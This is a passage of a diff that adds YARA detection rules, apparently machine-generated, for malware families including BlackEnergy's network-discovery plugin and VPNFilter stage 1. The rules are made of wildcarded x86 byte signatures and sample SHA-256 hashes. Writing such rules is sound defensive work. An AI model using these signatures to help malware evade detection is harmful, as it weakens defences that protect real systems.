+		$block_46 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? E9 }
+		$block_47 = { 80 1? ?? 8C ?? ?? ?? ?? ?? 0C ?? 89 ?? 89 ?? 88 ?? ?? 89 ?? 0F B6 ?? ?? E9 }
+		$block_48 = { 8B ?? ?? 89 ?? BA ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 3B ?? 0F 84 }
+		$block_49 = { D0 ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? 89 ?? 8D ?? ?? 8B ?? ?? 39 ?? ?? 0F 82 }
+		$block_50 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? 8B ?? ?? 83 ?? ?? 0F 84 }
+		$block_51 = { EF F7 ?? 5? B9 ?? ?? ?? ?? F7 ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? E9 }
+		$block_52 = { 8B ?? ?? F7 ?? 8D ?? ?? 8D ?? ?? 03 ?? ?? 8D ?? ?? ?? ?? ?? 0F B6 ?? E9 }
+		$block_53 = { F7 ?? B8 ?? ?? ?? ?? 89 ?? 8B ?? ?? F7 ?? F7 ?? 8B ?? 03 ?? 85 ?? 0F 85 }
+		$block_54 = { 8B ?? ?? BE ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_55 = { B9 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 88 ?? ?? F7 ?? 0F B6 ?? ?? 89 ?? E9 }
+		$block_56 = { 8B ?? ?? F7 ?? B9 ?? ?? ?? ?? 8B ?? ?? 8D ?? 0F B7 ?? ?? F7 ?? 89 ?? E9 }
+		$block_57 = { 8D ?? ?? 33 ?? 44 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_58 = { 0F BE ?? ?? 8D ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? 0F BE ?? ?? E9 }
+		$block_59 = { F7 ?? 89 ?? F7 ?? C7 ?? ?? ?? ?? ?? ?? F7 ?? 8B ?? ?? 3B ?? ?? 0F 87 }
+		$block_60 = { 8B ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_61 = { 5? B4 ?? E5 ?? 38 ?? ?? ?? ?? ?? 07 2E ?? ?? F8 B4 ?? 3A ?? 5? EB }
+		$block_62 = { 8D ?? ?? 8B ?? ?? 2B ?? 8B ?? ?? B9 ?? ?? ?? ?? F7 ?? 85 ?? 0F 84 }
+		$block_63 = { D5 ?? 35 ?? ?? ?? ?? 5? 5? 4? 4? AE 10 ?? ?? ?? ?? ?? 89 ?? ?? E9 }
+		$block_64 = { E8 ?? ?? ?? ?? 61 DF ?? 4? 8B ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? E9 }
+		$block_65 = { BA ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_66 = { 89 ?? 89 ?? 8B ?? ?? 89 ?? 0F B7 ?? ?? C1 ?? ?? 83 ?? ?? 0F 85 }
+		$block_67 = { 2C ?? 28 ?? ?? ?? ?? ?? 4? F7 ?? F7 ?? 8B ?? ?? 3B ?? ?? 0F 8D }
+		$block_68 = { 27 2A ?? ?? ?? ?? ?? EC 5? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_69 = { D1 ?? ?? ?? ?? ?? EC 0C ?? 04 ?? 00 ?? 00 ?? 61 D7 0A ?? 4? 76 }
+		$block_70 = { D1 ?? 89 ?? 88 ?? ?? F7 ?? BA ?? ?? ?? ?? 0F B6 ?? ?? 8D ?? E9 }
+		$block_71 = { BF ?? ?? ?? ?? F7 ?? 89 ?? 8D ?? ?? ?? F7 ?? 8B ?? 3B ?? 0F 82 }
+		$block_72 = { 06 1A ?? ?? ?? ?? ?? 1B ?? ?? ?? ?? ?? F7 ?? 89 ?? 8B ?? ?? E9 }
+		$block_73 = { 8B ?? ?? F7 ?? 89 ?? 03 ?? ?? 0F B6 ?? F7 ?? 89 ?? 89 ?? E9 }
+		$block_74 = { 8B ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_75 = { 1E 4? 9B 36 ?? 8B ?? ?? ?? B7 ?? 5? C1 ?? ?? 83 ?? ?? 0F 84 }
+		$block_76 = { B8 ?? ?? ?? ?? 8B ?? 89 ?? F7 ?? 8B ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_77 = { 16 85 ?? ?? B6 ?? 4? 5? F4 62 ?? ?? 89 ?? 83 ?? ?? F7 ?? E9 }
+		$block_78 = { F7 ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? 0F 8C }
+		$block_79 = { 85 ?? ?? ?? ?? ?? A6 89 ?? ?? 89 ?? 89 ?? ?? 89 ?? 89 ?? E9 }
+		$block_80 = { 15 ?? ?? ?? ?? 5? F4 F7 ?? 8D ?? 0F B6 ?? ?? 85 ?? 0F 85 }
+		$block_81 = { 89 ?? 88 ?? ?? F7 ?? BA ?? ?? ?? ?? 0F B6 ?? ?? 8D ?? E9 }
+		$block_82 = { 4? B7 ?? 64 ?? ?? AD B3 ?? 8A ?? ?? ?? ?? ?? 5? F7 ?? E9 }
+		$block_83 = { 2B ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 86 }
+		$block_84 = { 8D ?? ?? ?? ?? ?? 0F B6 ?? 5? E8 ?? ?? ?? ?? 88 ?? ?? E9 }
+		$block_85 = { F7 ?? 8D ?? ?? 8B ?? ?? F7 ?? 89 ?? 0F BE ?? 85 ?? 0F 84 }
+		$block_86 = { 8B ?? ?? 8D ?? 8D ?? ?? 89 ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_87 = { 0F BE ?? ?? F7 ?? 89 ?? 89 ?? 0F BE ?? ?? 3B ?? 0F 85 }
+		$block_88 = { F7 ?? ?? 3B ?? 4? 89 ?? ?? 81 7? ?? ?? ?? ?? ?? 0F 8C }
+		$block_89 = { F4 1B ?? F7 ?? EE E8 ?? ?? ?? ?? 4? 06 39 ?? ?? 0F 82 }
+		$block_90 = { 8B ?? ?? F7 ?? F7 ?? 0F B7 ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_91 = { 5? ED 0C ?? 9C 4? AF 9? 82 E? ?? 35 ?? ?? ?? ?? 73 }
+		$block_92 = { 0F BE ?? ?? 89 ?? 8D ?? ?? 0F BE ?? ?? 3B ?? 0F 85 }
+		$block_93 = { 8B ?? ?? 0F BE ?? ?? 03 ?? 33 ?? BE ?? ?? ?? ?? E9 }
+		$block_94 = { 8B ?? ?? 89 ?? B8 ?? ?? ?? ?? 8B ?? ?? 3B ?? 0F 84 }
+		$block_95 = { 5? 6A ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_96 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_97 = { BA ?? ?? ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 0F 85 }
+		$block_98 = { 5? A4 8B ?? ?? B8 ?? ?? ?? ?? F7 ?? 89 ?? ?? E9 }
+		$block_99 = { 6A ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "5111de45210751c8e40441f16760bf59856ba798ba99e3c9532a104752bf7bcc" or
+		hash.sha256(0, filesize) == "b73777469f939c331cbc1c9ad703f973d55851f3ad09282ab5b3546befa5b54a" or
+		hash.sha256(0, filesize) == "cbc4b0aaa30b967a6e29df452c5d7c2a16577cede54d6d705ca1f095bd6d4988" or
+		hash.sha256(0, filesize) == "ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525" or
+		hash.sha256(0, filesize) == "edcd1722fdc2c924382903b7e4580f9b77603110e497393c9947d45d311234bf" or
+		hash.sha256(0, filesize) == "32d3121135a835c3347b553b70f3c4c68eef711af02c161f007a9fbaffe7e614" or
+		hash.sha256(0, filesize) == "90ba78b6710462c2d97815e8745679942b3b296135490f0095bdc0cd97a34d9c" or
+		hash.sha256(0, filesize) == "405013e66b6f137f915738e5623228f36c74e362873310c5f2634ca2fda6fbc5" or
+		hash.sha256(0, filesize) == "43ce710a83c99fb4c0bac2ea93727a9d5dda6e82e30b5fe861f9e3e0acddaa1c" or
+		hash.sha256(0, filesize) == "4d31a81515ea04765b488dadc49acac4a2b81ca16eee1993ccd97b51a75510d5" or
+		hash.sha256(0, filesize) == "97be6b2cec90f655ef11ed9feef5b9ef057fd8db7dd11712ddb3702ed7c7bda1" or
+		hash.sha256(0, filesize) == "7a393b3eadfc8938cbecf84ca630e56e37d8b3d23e084a12ea5a7955642db291" or
+		hash.sha256(0, filesize) == "edb16d3ccd50fc8f0f77d0875bf50a629fa38e5ba1b8eeefd54468df97eba281" or
+		hash.sha256(0, filesize) == "2aade7381aa87f55b7d7a5284d22be5472fd8cd966d216fd4445ca3a8bbb3ff3" or
+		hash.sha256(0, filesize) == "7874a10e551377d50264da5906dc07ec31b173dee18867f88ea556ad70d8f094" or
+		hash.sha256(0, filesize) == "ed080c2635180f27c8d288e96c1105d0914dc1bb55917d2f5f2538fc32974aa2" or
+		hash.sha256(0, filesize) == "1ce0dfe1a6663756a32c69f7494ad082d293d32fe656d7908fb445283ab5fa68" or
+		hash.sha256(0, filesize) == "81125a5eb555dc898a5af966cf5ac8380e6c8e64a1c7f7981e8db8c9dbb37394" or
+		hash.sha256(0, filesize) == "3432db9cb1fb9daa2f2ac554a0a006be96040d2a7776a072a8db051d064a8be2" or
+		hash.sha256(0, filesize) == "166ba02539d3ea8cd1298d916fad1264a815f55798df5477698b7d775542b696" or
+		hash.sha256(0, filesize) == "ac13b819379855af80ea3499e7fb645f1c96a4a6709792613917df4276c583fc" or
+		hash.sha256(0, filesize) == "cfb20e7516b42486d11c59021a8be8a457ee1fa0d0be6d5d958e80b3cfeb04ae" or
+		hash.sha256(0, filesize) == "244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5" or
+		12 of them
+}
+
+rule BlackEnergyPluginNetworkDiscovery {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? 8B ?? 2B ?? 89 ?? ?? 3B ?? ?? 0F 83 }
+		$block_1 = { 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_2 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? ?? 5? 6A ?? FF D? 89 ?? ?? 3B ?? 0F 84 }
+		$block_3 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 5? 8B ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 5? 6A ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 5? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 5? 6A ?? FF D? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_7 = { FF 4? ?? 6A ?? 8D ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_8 = { 03 ?? 0F B6 ?? C1 ?? ?? 8A ?? ?? ?? ?? ?? 4? 88 ?? 3B ?? 0F BE ?? 75 }
+		$block_9 = { 5? 5? 5? 8D ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_10 = { FF 7? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_11 = { 8B ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_12 = { 8D ?? ?? 5? 6A ?? 6A ?? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_14 = { 8B ?? ?? C1 ?? ?? 5? 5? 89 ?? ?? 89 ?? ?? 3B ?? 0F 86 }
+		$block_15 = { 5? 8B ?? 83 ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "325db53fdeb928597531ee1d20f7528f687c2c5611e3fa408f41a654e73b0f1b" or
+		12 of them
+}
+
+rule VPNFilterStage1 {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { B8 ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_1 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FC C1 ?? ?? F3 ?? F6 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 74 }
+		$block_2 = { 31 ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_3 = { BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_4 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 31 ?? 83 ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_5 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_6 = { 5? B9 ?? ?? ?? ?? 89 ?? 31 ?? 5? 5? 5? FC 8D ?? ?? 83 ?? ?? 89 ?? F3 ?? 66 ?? ?? ?? ?? 31 ?? 9? }
+		$block_7 = { 8B ?? ?? 8B ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? FF 5? ?? 85 ?? 0F 85 }
+		$block_8 = { FF 8? ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 8F }
+		$block_9 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? BE ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_10 = { B1 ?? 89 ?? 8B ?? ?? ?? F6 ?? BA ?? ?? ?? ?? 89 ?? 31 ?? 0F B6 ?? F7 ?? 8D ?? ?? 88 ?? 04 ?? 88 }
+		$block_11 = { 89 ?? C1 ?? ?? F6 ?? ?? 0F 95 ?? 0F B6 ?? 01 ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? 75 }
+		$block_13 = { 8B ?? ?? 89 ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_15 = { B8 ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_16 = { 8B ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? C1 ?? ?? BE ?? ?? ?? ?? 01 ?? 89 ?? ?? 0F B6 ?? 8B ?? ?? 29 }
+		$block_17 = { B9 ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 01 ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 09 ?? 8D ?? ?? 39 ?? 0F 87 }
+		$block_19 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 8D ?? ?? 3D ?? ?? ?? ?? 89 ?? ?? 0F 87 }
+		$block_20 = { BE ?? ?? ?? ?? B9 ?? ?? ?? ?? FC F3 ?? A1 ?? ?? ?? ?? 66 ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? 5? C3 }
+		$block_21 = { 8B ?? ?? 0F B6 ?? 01 ?? 4? 0F B6 ?? 83 ?? ?? 30 ?? 88 ?? 88 ?? FF 4? ?? 8B ?? ?? 39 ?? ?? 74 }
+		$block_22 = { B9 ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_23 = { 83 ?? ?? 89 ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 85 }
+		$block_24 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 29 ?? 8D ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F 86 }
+		$block_25 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_26 = { 4? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_27 = { 89 ?? B3 ?? F6 ?? BA ?? ?? ?? ?? 89 ?? 31 ?? 0F B6 ?? F7 ?? 88 ?? 04 ?? 3C ?? 88 ?? ?? ?? 74 }
+		$block_28 = { 8B ?? ?? 8B ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_29 = { 0F B6 ?? C1 ?? ?? 89 ?? ?? 0F B6 ?? ?? 09 ?? ?? 8B ?? ?? 89 ?? 8B ?? ?? 4? 3D ?? ?? ?? ?? 77 }
+		$block_30 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_31 = { B8 ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_32 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 8D ?? ?? 83 ?? ?? 0F 86 }
+		$block_33 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 85 }
+		$block_34 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_35 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_36 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_37 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? 01 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_38 = { 8D ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_39 = { C7 ?? ?? ?? ?? ?? ?? 29 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_40 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 0F B6 ?? ?? ?? 0F B6 ?? 39 ?? 74 }
+		$block_41 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_42 = { 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 89 ?? 0F 8E }
+		$block_43 = { 89 ?? 31 ?? FC C1 ?? ?? F3 ?? 8D ?? ?? ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 76 }
+		$block_44 = { B8 ?? ?? ?? ?? 89 ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 89 ?? 0F 84 }
+		$block_46 = { 8B ?? ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 09 ?? 8D ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_47 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_48 = { BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_49 = { 8B ?? ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? C6 ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 }
+		$block_50 = { 8D ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_51 = { 80 F? ?? 0F B6 ?? ?? 0F B6 ?? ?? 19 ?? 83 ?? ?? C1 ?? ?? 09 ?? 8D ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 89 ?? 0F 84 }
+		$block_53 = { 0F B6 ?? ?? 8B ?? ?? ?? ?? ?? 80 E? ?? 80 F? ?? 19 ?? 83 ?? ?? 83 ?? ?? 39 ?? 89 ?? ?? 74 }
+		$block_54 = { C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_55 = { 89 ?? 31 ?? FC C1 ?? ?? F3 ?? 89 ?? C1 ?? ?? 31 ?? 8B ?? ?? 89 ?? 29 ?? 83 ?? ?? 89 ?? EB }
+		$block_56 = { 8B ?? ?? 8D ?? ?? 0F B6 ?? 4? 83 ?? ?? 32 ?? 88 ?? 88 ?? FF 4? ?? 8B ?? ?? 39 ?? ?? 0F 84 }
+		$block_57 = { FC 31 ?? B9 ?? ?? ?? ?? 89 ?? F3 ?? 8B ?? ?? FF 5? ?? BA ?? ?? ?? ?? 85 ?? 89 ?? ?? 74 }
+		$block_58 = { 8D ?? ?? 4? 8D ?? ?? 89 ?? 89 ?? 0F B6 ?? ?? 8D ?? ?? ?? 89 ?? 89 ?? 8B ?? ?? 89 ?? 75 }
+		$block_59 = { 8D ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_60 = { 8B ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_61 = { 89 ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_62 = { 8B ?? ?? 89 ?? 03 ?? ?? 0F B7 ?? ?? 01 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? 0B ?? ?? 74 }
+		$block_63 = { B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_64 = { 01 ?? 89 ?? ?? ?? ?? ?? 31 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_65 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_66 = { 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 09 ?? 8D ?? ?? 8D ?? ?? 39 ?? ?? ?? ?? ?? 89 ?? ?? 0F 82 }
+		$block_67 = { 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_68 = { 0F B6 ?? ?? BA ?? ?? ?? ?? 4? 89 ?? 31 ?? C6 ?? ?? ?? ?? 8D ?? ?? F7 ?? 88 ?? 04 ?? 88 }
+		$block_69 = { 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_70 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_71 = { 8B ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_72 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_73 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 29 ?? 0F 84 }
+		$block_74 = { 8B ?? ?? ?? ?? ?? 01 ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_75 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? 83 ?? ?? 8D ?? ?? 29 ?? ?? 39 ?? 89 ?? ?? 89 ?? 0F 87 }
+		$block_76 = { 8B ?? ?? C1 ?? ?? 0F B6 ?? ?? 4? 09 ?? 31 ?? 39 ?? 0F 97 ?? 4? F7 ?? 21 ?? 83 ?? ?? 75 }
+		$block_77 = { 8B ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 93 ?? 4? 0F B6 ?? 83 ?? ?? F7 ?? 21 ?? 39 ?? 75 }
+		$block_78 = { 5? B8 ?? ?? ?? ?? 89 ?? 5? 5? 5? 83 ?? ?? F6 ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 0F 85 }
+		$block_79 = { 80 B? ?? ?? ?? ?? ?? ?? 0F 95 ?? 08 ?? 0F 94 ?? 4? 0F B6 ?? 01 ?? 3B ?? ?? ?? ?? ?? 75 }
